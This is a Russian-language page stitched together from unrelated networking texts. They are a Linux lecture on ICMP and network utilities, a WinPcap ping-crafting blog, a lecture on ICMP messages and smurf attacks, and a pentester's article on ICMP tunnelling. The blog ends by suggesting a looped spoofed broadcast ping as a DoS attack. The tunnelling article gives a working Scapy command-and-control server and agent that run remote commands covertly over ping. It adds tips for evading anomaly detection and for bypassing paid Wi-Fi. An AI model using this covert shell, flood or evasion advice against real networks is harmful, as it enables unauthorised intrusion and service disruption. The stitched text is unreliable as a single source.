Icmp seq что это
Тема: Сетевое администрирование Linux. ICMP.
Вид занятия: лекция, практическое занятие.
1. Протокол ICMP. Типы пакетов.
2. Утилиты ping, traceroute, tcptraceroute.
3. Утилиты управления сетью. Nmap. NatCat. Netstat.
2. Кирх. О, Доусон Т. — Linux для профессионалов. Руководство администратора сети, второе издание. — СПб.: Питер, 2001. — 496 с.; ил.
1. Протокол ICMP (Internet Control Message Protocol, протокол контроля сообщений в интернет) — это Internet-протокол третьего (сетевого) уровня модели OSI, создающий пакеты с сообщениями об ошибках и другой информацией об обработке IP-пакетов.
В протоколе ICMP описаны несколько типов пакетов, таких как:
эхо-запрос — пакет, отправляемый для проверки связи с удаленным узлом
эхо-ответ — пакет, получаемый источником в ответ на пакет типа эхо-запрос
назначение недоступно — получатель такого пакета информируется о недоступности сети/узла/порта назначения.
Редирект — пакет информирует узел об изменении маршрута до назначения. В современных ОС данный тип пакета игнорируется.
Время вышло — узел-источник получает этот тип пакета, если IP-пакет был уничтожен в связи с обнулением поля TimeToLive.
Остальные типы (а также подтипы) пакетов ICMP можно посмотреть в заголовочном файле /usr/include/linux/icmp.h.
2. Утилита ping служит для проверки факта наличия связи с удаленным узлом, а также надежности и скорости связи. Иногда утилита используется для раскрытия ip-адресов хоста по его имени.
Синтаксис ее таков:
ping [параметры] имя_или_ip-адрес_хоста
С помощью параметра -c вы можете указать количество запросов, которые выполнит ping. Если параметр -c опущен, то ping будет подавать запросы до тех пор, пока не получит сигнал или пользователь не нажмет .
[ gserg@WebMedia linux]$ ping -c3 www.ya.ru
PING ya.ru (213.180.204.8) 56(84) bytes of data.
64 bytes from ya.ru (213.180.204.8): icmp_seq=0 ttl=49 time=26.7 ms
64 bytes from ya.ru (213.180.204.8): icmp_seq=1 ttl=49 time=25.6 ms
64 bytes from ya.ru (213.180.204.8): icmp_seq=2 ttl=49 time=24.7 ms
— ya.ru ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2019ms
rtt min/avg/max/mdev = 24.741/25.718/26.724/0.809 ms, pipe 2
С помощью параметра -f можно проверить быстродействие сети (работает только из под root). При использовании этого параметра ping посылает около 1000 пакетов в секунду.
[gserg@WebMedia gserg]$ ping -f 192.168.2.254
PING 192.168.2.254 (192.168.2.254) 56(84) bytes of data.
ping: cannot flood; minimal interval, allowed for user, is 200ms
[gserg@WebMedia gserg]$ su -c «ping -f 192.168.2.254»
PING 192.168.2.254 (192.168.2.254) 56(84) bytes of data.
— 192.168.2.254 ping statistics —
238 packets transmitted, 238 received, 0% packet loss, time 4379ms
rtt min/avg/max/mdev = 0.147/0.177/0.478/0.031 ms, pipe 2, ipg/ewma 18.478/0.179 ms
Параметром -s может быть указан размер пакеты в байтах (не менее 64 и не более 65000), в ином случае размер пакета составит 64 байта.
[gserg@WebMedia linux]$ ping -s 65000 192.168.2.254
PING 192.168.2.254 (192.168.2.254) 65000(65028) bytes of data.
65008 bytes from 192.168.2.254: icmp_seq=0 ttl=64 time=12.0 ms
65008 bytes from 192.168.2.254: icmp_seq=1 ttl=64 time=12.0 ms
65008 bytes from 192.168.2.254: icmp_seq=2 ttl=64 time=11.9 ms
65008 bytes from 192.168.2.254: icmp_seq=3 ttl=64 time=11.9 ms
— 192.168.2.254 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3026ms
rtt min/avg/max/mdev = 11.988/12.029/12.083/0.086 ms, pipe 2
Дополнительную информацию можно получить из справочного руководства man.
Команда traceroute поможет Вам проверить путь до удаленного хоста, выдавая все промежуточные маршрутизаторы. С помощью этой команды становится просто диагностировать проблему в большой сет, быстро выявляя сбойный участок. Синтаксис команды такой же, как и у ping, за исключением параметров командной строки.
[gserg@WebMedia linux]$ traceroute www.ya.ru
traceroute to ya.ru (213.180.204.8), 30 hops max, 38 byte packets
1 ns.edu.vologda.ru (192.168.2.2) 0.281 ms 0.192 ms 0.162 ms
2 80.92.3.3 (80.92.3.3) 1.169 ms 1.257 ms 1.103 ms
3 sv-vol00ra-s2-0.severttk.ru (80.92.3.1) 3.140 ms 3.250 ms 3.111 ms
4 sv-yar00rb-s1-0-0.severttk.ru (80.92.0.69) 34.511 ms sv-yar00rb-s2-5-0.severttk.ru (80.92.0.97) 25.161 ms sv-yar00rb-s1-0-0.severttk.ru (80.92.0.69) 10.718 ms
5 MSK41-F000.145.gw.transtelecom.net (217.150.38.142) 28.066 ms 21.430 ms 31.571 ms
6 MSK41.TRANSTELECOM.NET (193.232.244.211) 25.680 ms 18.921 ms 20.999 ms
MPLS Label=350 CoS=6 TTL=255 S=1
7 ix2-m9.yandex.net (193.232.244.93) 23.085 ms 21.548 ms 35.076 ms
8 c3-vlan3.yandex.net (213.180.192.171) 25.177 ms 23.104 ms 22.918 ms
9 ya.ru (213.180.204.8) 33.519 ms 23.189 ms 32.496 ms
Команда tcptraceroute практически аналогична предыдущей, однако в качестве базового протокола она использует протокол tcp. Это позволяет проверять доступ к службам tcp и путь до них.
gserg@ADM:~$ tcptraceroute smtp.mail.ru 25
Selected device eth0, address 10.52.2.1, port 45217 for outgoing packets
Tracing the path to smtp.mail.ru (194.67.23.111) on TCP port 25 (smtp), 30 hops max
1 10.52.0.5 0.383 ms 0.231 ms 0.219 ms
2 b229.vologda.ru (193.19.67.229) 1248.475 ms 345.180 ms 106.562 ms
3 spb-vgld.ptn.ru (212.48.195.9) 78.138 ms 65.802 ms 157.785 ms
4 spb-bbn1-ge-2-1-0-88.rt-comm.ru (213.59.5.141) 120.521 ms 114.442 ms 131.549 ms
5 msk-bgw1-ge1-0-0-0.rt-comm.ru (217.106.0.14) 76.536 ms 177.440 ms 130.447 ms
6 msk-bgw1-ge1-0-0-0.rt-comm.ru (217.106.0.14) 143.422 ms 90.071 ms 115.207 ms
7 195.161.165.246 172.163 ms 133.969 ms 110.668 ms
8 cat03.Moscow.gldn.net (195.239.10.189) 79.129 ms 77.774 ms 93.654 ms
9 cat12.Moscow.gldn.net (194.186.159.238) 76.082 ms 162.883 ms 77.045 ms
10 mailru-KK12-2-gw.Moscow.gldn.net (195.239.8.90) 105.042 ms 75.285 ms 89.922 ms
12 smtp.mail.ru (194.67.23.111) [open] 78.527 ms 81.314 ms 80.269 ms
В большинстве случаев, параметры командной строки не приходится использовать, однако их все же следует изучить с помощью справочного руководства man.
3. Утилиты управления сетью существуют для диагностистики как сетевых проблем, так и диагностики проблем каждого конкретного хоста.
Наиболее популярной утилитой, с помощь которой диагностируются проблемы хостов является nmap, который входит в поставку практически всех современных дистрибутивов операционной системы Linux.
Nmap обладает множеством способностей, но нас в первую очередь интересует его возможности определения активных сервисов удаленного хоста, а также операционной системы.
Полноценно использовать nmap можно только при наличии прав суперпользователя. Вот те параметры nmap, которые на будут интересовать:
-sS — скрытое сканирование TCP-портов
-sT — открытое сканирование TCP-портов
-sU — открытое сканирование UDP-портов
-sP — ping-сканирование (поиск активных хостов в сети)
-sF, -sN, -sX — разные скрытые типы сканирования TCP-портов.
-O — определение типа операционной системы (не работает с -sP)
-p — указание диапазона портов для сканирования (12345, 12345-23333)
-v — подробный вывод.
[root@WebMedia linux]# nmap -v -sS -O 192.168.2.84
Starting nmap 3.48 ( http://www.insecure.org/nmap/ ) at 2005-04-23 17:24 MSD
Host 192.168.2.84 appears to be up . good.
Initiating SYN Stealth Scan against 192.168.2.84 at 17:24
Adding open port 135/tcp
Adding open port 139/tcp
Adding open port 445/tcp
The SYN Stealth Scan took 0 seconds to scan 1657 ports.
For OSScan assuming that port 135 is open and port 1 is closed and neither are firewalled
Interesting ports on 192.168.2.84:
(The 1654 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Device type: general purpose
Running: Microsoft Windows 95/98/ME|NT/2K/XP
OS details: Microsoft Windows Millennium Edition (Me), Windows 2000 Professional or Advanced Server, or Windows XP
TCP Sequence Prediction: positive increments
Difficulty=9641 (Worthy challenge)
IPID Sequence Generation: Incremental
Nmap run completed — 1 IP address (1 host up) scanned in 2.391 seconds
Команда NetCat (nc) — это еще более широко используемая команда. Ее предназначение, в первую очередь, это проверка работоспособности сети на конкретном узле и выявление ошибок при передаче. Команда nc может открыть порт и выводить информацию из него на экран (или в файл, другое приложение по каналу). Эту возможность часто используют для проверки работы TCP. Для открытия порта служит ключ -l, а порт можно указать параметром -p:
[root@WebMedia linux]# nc -l -p 25 127.0.0.1
[gserg@WebMedia gserg]$ telnet 127.0.0.1 25
Connected to 127.0.0.1.
Escape character is ‘^]’.
Connection closed by foreign host.
Однако и с помощью nc можно просканировать открытые порты. Правда, nc не обладает таким широким набором возможностей как nmap, и делает сканирование намного медленнее. Для этого используется параметр -z. Параметр -v позволяет нам получить дополнительную информацию:
[root@WebMedia linux]# nc -z -v 127.0.0.1 600-700
localhost.localdomain [127.0.0.1] 631 (ipp) open
Команда netstat позволяет просмотреть открытые соединения на текущем компьютере. Введенная без параметров, она покажет все соединения, включая открытые сокеты unix. Команда принимает параметры, наиболее часто используемыми являются:
-n — показывает числовые значения номеров портов вместо имени из /etc/services и числовые ip-адреса вместо доменных имен;
-p — показывает pid процесса, использующего соединение;
-t — показывать только TCP-сокеты
-u — показывать только UDP-сокеты
-i — показать список интерфейсов и статистику трафика на них
-l — только слушающие порты
Таким образом, просмотр всех программ, слушающих TCP-порты:
root@ADM:/var/mail# netstat -tpl
Активные соединения с интернетом (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:2208 *:* LISTEN 4785/hpiod
tcp 0 0 *:print01 *:* LISTEN 4864/inetd
tcp 0 0 *:51762 *:* LISTEN 26729/sim
tcp 0 0 *:telnet *:* LISTEN 4864/inetd
tcp 0 0 localhost:ipp *:* LISTEN 4761/cupsd
tcp 0 0 localhost:2207 *:* LISTEN 4788/python
tcp6 0 0 *:5800 *:* LISTEN 9066/kded [kdeinit]
tcp6 0 0 *:5900 *:* LISTEN 9066/kded [kdeinit]
tcp6 0 0 *:65005 *:* LISTEN 9519/notes2w
tcp6 0 0 *:57177 *:* LISTEN 9519/notes2w
Просмотр всех интерфейсов:
root@ADM:/var/mail# netstat -i
Таблица интерфейсов ядра
Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 1500 0 238445 0 0 0 200095 0 0 0 BMRU
lo 16436 0 282 0 0 0 282 0 0 0 LRU
ICMP протокол
Протокол ICMP является одним из компонентов стека TCP/IP (Transmission Control Protocol/Internet Protocol — протокол управления передачей/протокол сети Internet), который компенсирует неспособность протокола IP гарантированно доставлять данные. Вместе с тем протокол ICMP не устраняет ненадежность передачи данных протоколом IP. Он лишь уведомляет отправителя данных о том, что при их доставке возникли проблемы.
На рисунке показано место протокола ICMP в модели TCP/IP.
Протокол ICMP является механизмом отправки сообщений об ошибках для протокола IP.
Если при доставке дейтаграммы происходит ошибка, протокол ICMP сообщает об этом отправителю дейтаграммы. Например, предположим, что PC1, показанный на следующем рисунке, посылает дейтаграмму PC4. Если соответствующий интерфейс маршрутизатора Вorder выходит из строя, этот маршрутизатор использует протокол ICMP для отправки PC1 сообщения о том, что доставка дейтаграммы оказалась невозможной. Протокол ICMP не устраняет возникшую в сети проблему.
Сообщения протокола ICMP доставляются с использованием протокола IP.
ICMP-сообщения инкапсулируются в дейтаграммы, точно так же, как и обычные данные, доставляемые по протоколу IP. В таблице показана инкапсуляция ICMP-пакета в поле данных IP-дейтаграммы. Заголовок фрейма может формироваться по протоколу локальной сети, такому, как Ethernet, или по протоколу распределенной сети, такому, например, как HDLC.
Заголовок фрейма Заголовок IP-дейтаграммы Заголовок протокола ICMP Данные протокола ICMP
Заголовок фрейма Заголовок IP-дейтаграммы Поле данных IP-дейтаграммы
Заголовок фрейма Поле данных IP-дейтаграммы
Заголовок фрейма Поле данных фрейма
Когда данные поступают на сетевой уровень, они инкапсулируются в дейтаграмму. После этого дейтаграмма и инкапсулированные в ней данные вновь инкапсулируются во фрейм на канальном уровне. Сообщения протокола ICMP содержат в заголовках свою собственную информацию. Однако эта информация вместе с данными протокола ICMP инкапсулируется в дейтаграмму и передается таким же образом, что и все остальные данные. Поэтому сообщения об ошибках также подвержены риску быть утерянными при передаче. Таким образом, может возникнуть ситуация, в которой сами сообщения об ошибках могут создать новые ошибки, что лишь усложнит ситуацию с затором в уже работающей со сбоями сети. По этой причине ошибки, созданные сообщениями ICMP, не генерируют свои собственные ICMP-сообщения. Следовательно, возможен случай, когда при доставке дейтаграммы происходит ошибка, но о ней не сообщается отправителю данных.
Бодание с WinpCap и отправка ping’ов
Все знают команду ping, которая предназначена для отправки эхо-запроса и получения эхо-ответа. Мы же решили, что системного ping’a нам мало и попытались реализовать свою программу ping.
Инструментом для реализации был компилятор С++ и библиотечка WinPcap. WinPcap — Низкоуровневая библиотека для взаимодействия с драйверами сетевых интерфейсов.
И так начинаем сборку ICMP-пакета.
Формат ICMP-пакета успешно был взят с Wiki.
| Октет | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 0—3 | Тип | Код | Контрольная сумма | |||||||||||||||||||||||||||||
| … | Данные (формат зависит от значений полей «Код» и «Тип») | |||||||||||||||||||||||||||||||
u_char packet[1514]; //собственно наш пакет //MAC-адрес получателя packet[0]=0x08; packet[1]=0x00; packet[2]=0x27; packet[3]=0x4c; packet[4]=0x18; packet[5]=0xDA; ////MAC-адрес отправителя packet[6]=0x08; packet[7]=0x00; packet[8]=0x27; packet[9]=0xca; packet[10]=0xb8; packet[11]=0x44; //Формирование IP-заголовка packet[12]=0x08; packet[13]=0x00; packet[14]=0x45; packet[15]=0x00; //Длинна пакета *(WORD *)&packet[16] = htons(1500); packet[18]=0x11; //id packet[19]=0x22; packet[20]=0; //фрагментацию отключаем packet[21]=0; packet[22]=0x80; //ttl packet[23]=1; //icmp packet[24]=0; //контрольная сумма packet[25]=0; //От кого packet[26]=192; packet[27]=168; packet[28]=1; packet[29]=1; //куда packet[30]=192; packet[31]=168; packet[32]=1; packet[33]=128; chS=ComputeIPChecksum(&packet[14],20); //считаем контрольную сумму printf("%x\n", chS); *(WORD *)&packet[24] = chS; //**************************************************** packet[34]=8; //icmp packet[35]=0; packet[36]=0x29; //csum packet[37]=0x31; packet[38]=0x11; //icmp packet[39]=0x11; packet[40]=0x22; //csum packet[41]=0x22; chS=ComputeIPChecksum(&packet[34],8); printf("%x\n", chS); for(i=42; i //отправляем if (pcap_sendpacket(fp, // Adapter packet, // buffer with the packet 1514 // size ) != 0)
Результаты посмотрим на следующем рисунке.
Видим запрос и ответ. Все ОК.
А что, если поставить левый MAC-адрес отправителя?
А что, если поставить левый IP-адрес отправителя?
А что, если MAC = FF-FF-FF-FF-FF-FF?
Можно пойти на Wiki и увидеть следующее:
ICMP-пакеты никогда не генерируются в ответ на IP-пакеты с широковещательным или групповым адресом, чтобы не вызывать перегрузку в сети (так называемый «широковещательный шторм»).
Попробуем нарушить это правило. С машины с IP 192.168.1.2 будем отправлять ping на 192.168.1.3, при этом IP отправителя будет равен 192.168.1.1, а MAC отправителя FF-FF-FF-FF-FF-FF.
Оказалось, что мы заставили 192.168.1.3 отвечать 192.168.1.1, при том, что последний этого не хотел. Самое интересное, то, что это был широковещательный ping и он прошел!
Смотрим что на других машинах. 
На других машинках мы ловим широковещательные запросы.
А раз так, то есть повод написать в программе while(1) и наслаждаться DOS-атакой.
Список литературы:
Одом У. — CISCO Официальное руководство по подготовке к сертификационным экзаменам CCENTCCNA ICND1 — 2010
ru.wikipedia.org
Протокол ICMP. Сообщения Request/Reply
Сообщения типа Echo (эхо) — принадлежат к парным сообщениям ICMP. Сообщения этого типа используются для того, чтобы определить возможность достижения и статус компонентов сети Internet. Любой компонент сети, который получает адресованное ему сообщение Echo Request, должен сформировать ответное сообщение Echo Reply в адрес источника полученного сообщения.
Наиболее простые утилиты Ping посылают одно сообщение Echo Request в адрес назначения и указывают на получение ответного сообщения Echo Reply. Более сложные утилиты формируют несколько последовательных сообщений Echo Request и измеряют значение интервала времени, который отделяет момент передачи этих сообщений от момента приема соответствующих ответных сообщений.
Сообщения Echo Request и Echo Reply имеют одинаковый формат и отличаются только содержимым поля TYPE:
- Значение поля TYPE = 0 соответствуют сообщению Echo Reply
- Значение поля TYPE = 8 соответствуют сообщению Echo Request
| 0 | 7 | 15 | 31 |
| TYPE=0/8 | CODE=0 | CHECKSUM | |
| IDENTIFIER | SEQUENCE NUMBER | ||
| DATA | |||
| … | |||
В поле CODE сообщений Echo Request/Reply размещается значение 0. В полях IDENTIFIER и SEQUENCE NUMBER помещается кодировка, которая позволяет станции назначения установить соответствие между переданными и полученными сообщениями.
Атаки с использованием ICMP Echo Request/Reply
Как было выше отмечено, сообщения Echo Request/Reply используются для того, чтобы проверить правильность функционирования сети, однако, эти же сообщения могут быть использованы для того, чтобы нарушить функционирование сети. Для этого, чтобы нарушить функционирование сети в данном случае используется специальный тип спланированных действий, который называется атакой.
Атака — это совокупность преднамеренных и координированных действий, которые предпринимаются группой злоумышленников и направлены на то, чтобы причинить моральный или экономический ущерб хозяевам какой–либо сети путем нарушения нормального режима доступа к её информационным ресурсам.
Наиболее часто в сети Internet применяются атаки, которые направлены на инициирование перегрузки каналов доступа к данной сети и её активных компонентов потоками служебных сообщений. Поскольку в этом случае клиенты не могут получить доступ к ресурсам сети, такой класс атак называется DOS – Denial of Service(подавление услуги).
При проведении наиболее распространенной атаки класса DOS smurf-attack используется сообщения Echo Request/Reply.
На рисунке представлена схема организация атаки типа smurf. В организации этой атаки используются три компонента:
- Нападающий хост (Attacker)
- Посредник (Mediator)
- Хост, который был выбран объектом для нападения (Victim)
В момент начала атаки атакующий хост формирует поток фальсифицированных сообщений типа Echo Request. Сообщения Echo Request, которые составляют этот поток, должны быть сформированы следующим образом:
- Адрес назначения – сетевой адрес типа directed broadcast для сети посредника
- Адрес источника — сетевой адрес жертвы.
После того, как шлюз посредника получает сообщение, которое адресовано всем хостам подключенной к нему сети, он осуществляет непосредственную доставку данного сообщения, используя при этом broadcast–адрес канального уровня. Таким образом, сообщение Echo Request получают все хосты данной сети. В соответствии с правилами формирования сообщений протокола ICMP, каждый из этих хостов должен будет сформировать ответное сообщение Echo Reply и направить его в адрес предполагаемого источника сообщения. Число этих ответных сообщений будет соответствовать числу активных на данный момент элементов в сети посредника. В данном случае сеть посредника играет роль умножителя, который увеличивает мощность информационного потока, который направлен на жертву нападения.
Способы защиты от атак с использованием ICMP Echo Request/Reply
Для предотвращения атак с использованием ICMP Echo Request/Reply могут быть использованы самые различные способы.
В качестве одного из таких эффективных мероприятий можно использовать запрещение приема и распространения сообщений типа directed broadcast. Использование данной меры рекомендовано документом RFC 1122, в соответствии с которым должны строиться правила функционирования маршрутизаторов в сети IP. В частности, в этом документе указано, что сообщения ICMP Echo Request, которые направлены в адрес типа directed broadcast, могут быть уничтожены без формирования какого либо диагностического сообщения.
Радикальным способом противодействия атакам типа smurf является запрещение трафика ICMP Echo Request/Reply на входных интерфейсах. Однако данная мера лишает многих пользователей возможности использования эффективных инструментов, которые широко используются для определения статуса данного компонента сети – утилит ping, tracert и т.д.
Сообщения Timestamp Request/Reply
Эти сообщения предназначаются для обеспечения взаимной синхронизации счетчиков времени у различных компонентов сети Internet. Поскольку компоненты сети Internet не имеют общего управления, значения индивидуальных датчиков времени у каждого из компонентов могут существенно отличаться. Для того, чтобы обеспечить взаимную синхронизацию этих датчиков могут быть использованы сообщения Timestamp Request/Reply.
Сообщения Echo Request и Echo Reply имеют одинаковый формат и отличаются только содержимым поля TYPE:
- Значение поля TYPE = 14 соответствуют сообщению Timestamp Reply
- Значение поля TYPE = 13 соответствуют сообщению Timestamp Request
| 0 | 7 | 15 | 31 |
| TYPE=13/14 | CODE=0 | CHECKSUM | |
| IDENTIFIER | SEQUENCE NUMBER | ||
| Originate Timestamp | |||
| Receive Timestamp | |||
| Transmit Timestamp | |||
В полях IDENTIFIER и SEQUENCE NUMBER помещаются кодировки, которые позволяют станции назначения установить соответствие между переданными и полученными сообщениями.
В поле Originate Timestamp сообщения Timestamp Reply отправитель помещает значение своего датчика времени в момент отправки этого сообщения. В момент получения этого сообщения станция назначения помещает в поле Receive Timestamp значение собственного датчика времени. Значения этих полей передающая станция переписывает в соответствующие поля ответного сообщения Timestamp Reply. Поле Transmit Timestamp этого сообщения формируется в момент отправки этого сообщения в адрес отправителя исходного запроса. Значения этого поля в данном случае будет соответствовать значению счетчика времени Timestamp Request–сервера в момент отправки сообщения.
Получив сообщение Timestamp Request, отправитель запроса может определить величину задержки распространения между ним и сервером и, таким образом, сформировать поправку к своему датчику времени.
Использование данного метода синхронизации датчиков времени не может обеспечить достаточной точности хотя бы потому, что задержки распространения сигналов в прямом и обратном направлении могут существенно отличаться и изменяться во времени. Поэтому для обеспечения надежной взаимной синхронизации датчиков времени должны быть использованы несколько сессий синхронизации.
Сообщения Address Mask Request/Reply
Сообщения этого типа предназначены для обеспечения возможности контроля установленного значения маски для внеклассовой сети.
В момент включения хост должен передать несколько сообщений типа Address Mask Request. До получения ответа на эти сообщения хост должен считать, что маска сети, к которой он подключен, соответствует классу этой сети. При получении первого ответа Address Mask Reply хост должен установить первое принятое значение в качестве маски данной сети.
| 0 | 7 | 15 | 31 |
| TYPE=17/18 | CODE=0 | CHECKSUM | |
| IDENTIFIER | SEQUENCE NUMBER | ||
| ADDRESS MASK | |||
Сообщения Echo Request и Echo Reply имеют одинаковый формат и отличаются только содержимым поля TYPE:
- Значение поля TYPE = 18 соответствуют сообщению Address Mask Reply
- Значение поля TYPE = 17 соответствуют сообщению Address Mask Request
В поле ADDRESS MASK сообщения Address Mask Reply должна быть размещена маска сети, к которой подключен отправитель сообщения Address Request.
Сообщения Information Request/Reply
Сообщения Timestamp Request/Reply (синхронизация времени) — принадлежат к парным сообщениям ICMP. Предполагалось, что сообщения данного типа будут использованы для выполнения процедуры определения сетевого адреса.
| Предыдущая лекция Протокол ICMP. Сообщения типа Error |
Следующая лекция Протоколы маршрутизации. Алгоритм RIP |
| Поиск |
| Поиск документов на RFC.net |
Обход платного Wi-Fi с помощью ping и другие возможности ICMP-туннелирования
С помощью такой простой команды, как ping, можно сделать много чего интересного. Например, создать ICMP-туннель. Зачем? Узнаем в этой статье.
Рассказывает Нир Чако, исследователь в области информационной безопасности
На данный момент этот блок не поддерживается, но мы не забыли о нём! Наша команда уже занята его разработкой, он будет доступен в ближайшее время.
На пути исследователя информационной безопасности часто встречаются различные сложности. В их число входят ограничения доступа к сети и необходимость оставаться незамеченным. Один из способов преодоления этих сложностей — использование ICMP-туннеля при попытке установить скрытое соединение.
В компьютерных сетях под туннелированием обычно понимается инкапсуляция одного сетевого протокола в качестве полезной нагрузки другого. Здесь можно узнать об этом больше.
ICMP (Internet Control Message Protocol) является вспомогательным протоколом стека TCP/IP и используется сетевыми устройствами для отправки сообщений об ошибках и информации о работе. Самое известное и, наверное, часто используемое ICMP-сообщение — это ping.
Смотрите также: Подборка книг по компьютерным сетям
Ping отправляется от одного узла в сети к другому. Он состоит из заголовков 2 и 3 уровней (MAC и IP-заголовки, определённые OSI-моделью) и специального ICMP-пакета. Отправляющий узел устанавливает параметры адресата, и если сообщение дойдёт до него, то он отправит его обратно:
Так выглядит IP-датаграмма ping-пакета:
ICMP-туннелирование можно выполнить, поместив в данные полезной нагрузки только то, что мы хотим отправить.
Обычно полезная нагрузка по умолчанию содержит что-нибудь вроде этой ASCII-строки — «abcdefghijklmnopqrstuvwabcdefghi»:
На данный момент этот блок не поддерживается, но мы не забыли о нём! Наша команда уже занята его разработкой, он будет доступен в ближайшее время.
Инкапсуляция HTTP-пакета в полезную нагрузку часто используется для обхода платного Wi-Fi.
Это возможно с помощью прокси-сервера, который ждёт ping-сообщения и отсылает их по мере необходимости (например, в форме HTTP):
- ПримечаниеС помощью нужных инструментов (вроде ptunnel) инкапсулируем HTTP-пакет, который хотим отправить в Google в составе ping-пакета (внутри полезной нагрузки). Затем отправляем его по IP прокси-сервера. Этот IP не является адресом получателя HTTP-пакета; адресом получателя будет www.google.com.Так как роутеры в аэропорту обычно позволяют отправлять ICMP-трафик за пределы сети, роутер доставит ping-сообщение на прокси-сервер.Прокси-сервер получает ping-пакет и разбивает его на две части:заголовки ICMP;полезную нагрузку с исходным HTTP-сообщением. IP-адрес отправителя HTTP-пакета, который прокси отправляет Google, должен быть IP-адресом самого прокси-сервера, а не вашего ноутбука или роутера аэропорта, поскольку Google должен ответить именно прокси, а не вам.
Это, возможно, самое частое применение ICMP-туннеля, но мне, как пентестеру, больше интересно его использование для обхода брандмауэров и прочих сетевых политик.
Всё это возможно благодаря тому, что ping-сообщения могут свободно выходить из локальной сети Wi-Fi в Интернет.
Почему кто-то может допустить такую ситуацию? Как бывший сетевой инженер, могу сказать, что ping помогает в понимании и решении даже самых сложных проблем.
Устранение многих проблем начинается с проверки того, проходит ли информация из одной точки в другую. Задаются вопросы вроде «доступен ли вообще этот информационный маршрут?» и «активны ли сетевые компоненты и способны ли они отвечать?». Ping-сообщения могут легко ответить на эти и многие другие вопросы.
Подобный анализ носит регулярный характер. Это означает, что конфигурация сети должна допускать передачу ping-сообщений в сети от одного узла к другому. Все политики брандмауэров, роутеров, а также список управления доступом коммутаторов должны разрешать поток ICMP-сообщений от практически любого сетевого компонента к другому. Вот почему сетевая сегментация и политики скорее всего не повлияют на ping-сообщения.
Принимая это во внимание, мне кажется, что хорошей идеей будет создать сетевое соединение с помощью агентов, подключающихся к управляющему серверу, используя ICMP-туннелирование, если вам нужно преодолеть такие препятствия, как сегментация и сетевые политики.
Я написал простой POC (Proof Of Concept) на Python, чтобы показать, как это работает.
- Для работы POC требуется Scapy;
- В данном POC не рассматривается обработка фрагментации. Фрагментация может произойти, например, если ответ от агента будет больше, чем позволяет размер полезной нагрузки.
POC включает в себя управляющий сервер и агент. Сервер будет посылать агенту команды через ICMP-туннель, а агент через него будет возвращать результат:
#!/usr/bin/env python3 from scapy.all import * def main(): while True: command = input('# Enter command: ') # создаём ICMP-пакет с командой в качестве полезной нагрузки pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command send(pinger) # ждём ICMP-сообщение с ответом от агента rx = sniff(count=1, timeout=2) # если агент не на локальной машине, используйте это: rx = sniff(filter="icmp", count=1) print(rx[0][Raw].load.decode('utf-8')) if __name__ == "__main__": main() #!/usr/bin/env python3 import os from scapy.all import * def main(): while True: # ждём от C2-сервера ICMP-сообщение с командой rx = sniff(filter="icmp", count=1) # извлекаем из пакета полезную нагрузку var = rx[0][Raw].load.decode('utf-8') # запускаем команду и сохраняем результат res = os.popen(var).read() # создаём ICMP-пакет с результатом в качестве полезной нагрузки send(IP(dst="localhost")/ICMP(type="echo-reply", seq=0x1)/res) if __name__ == "__main__": main() Использование выглядит как-то так:
И никогда не будет лишним посмотреть, что на самом деле происходит, с помощью Wireshark:
На данный момент этот блок не поддерживается, но мы не забыли о нём! Наша команда уже занята его разработкой, он будет доступен в ближайшее время.
На данный момент этот блок не поддерживается, но мы не забыли о нём! Наша команда уже занята его разработкой, он будет доступен в ближайшее время.
Как вы видите, в итоге мы имеем 2 ICMP-сообщения: одно с командой и другое с результатом.
Смотрим на ситуацию с точки зрения защиты
При написании подобных инструментов важно посмотреть на всё с точки зрения защиты и подумать, что нужно принять во внимание.
Наиболее важно помнить, что инструменты кибербезопасности не ограничиваются политиками белого списка брандмауэра. Большинство современных инструментов для защиты включают в себя различную функциональность по обнаружению аномалий. Но прежде чем заводить речь об аномалиях, нужно узнать больше о нормальном поведении субъекта.
Если говорить о ping-сообщениях в обычной сети, то их свойства примерно такие:
- Большинство ping-сообщений отсылаются одинаковым образом — по 4 сообщения за раз.
- Ping-сообщение имеет тип 8 (echo ping request), ping-ответ — тип 0 (echo ping reply).
- С каждым ping-пакетом отсылаются несколько полей (при использовании Windows 8.1):id = 0x0001;seq ответа будет равно seq запроса;У полезной нагрузки останется размер (32 байта) и содержимое («abcdefghijklmnopqrstuvwabcdefghi») по умолчанию.
Учитывая всё вышеперечисленное, вам следует:
- Написать управляющий сервер и агент таким образом, чтобы каждую минуту (например) отправлялось не больше 4 ping-сообщений. Если на отправку ваших данных требуется 15 сообщений, то весь процесс займёт 4 минуты. Да, возможно это медленно, но стоит того, чтобы остаться незамеченным.
- Убедиться, что ping-запрос и ответ логически правильны. Если все сообщения, которые вы отправляете, будут типа 0, то будет странно увидеть много ответов, когда нет никаких запросов.
- Обратить внимание, что размер полезной нагрузки повлияет на первый пункт (количество ping-сообщений на размер данных) и что это метаданные.
- Подумать о содержимом полезной нагрузки в контексте возможного наличия DPI.
DPI — глубокий анализ пакетов ( Deep Packet Inspection)
Во время обычного анализа пакетов считываются метаданные пакета (в основном заголовки). DPI же просматривает содержимое пакета. По сути, DPI анализирует полезную нагрузку и пытается понять, всё ли с ней нормально.
В нашем случае DPI с помощью отслеживания аномалий может обнаружить ICMP-туннель, просмотрев полезную нагрузку и увидев, что она отличается от ожидаемой. Таким образом, мы не сможем скрыть все параметры.
Так а зачем тогда вообще возиться с ICMP-туннелированием?
- DPI встречается далеко не везде.
- Большинство DPI-инструментов полагаются на базу с сигнатурами — если для ICMP-сообщений сигнатур нет, то и туннель обнаружить не получится.
- Даже если в базе найдётся подходящая сигнатура, оператор сначала должен настроить её на работу в активном режиме.
Почему он может её не активировать?
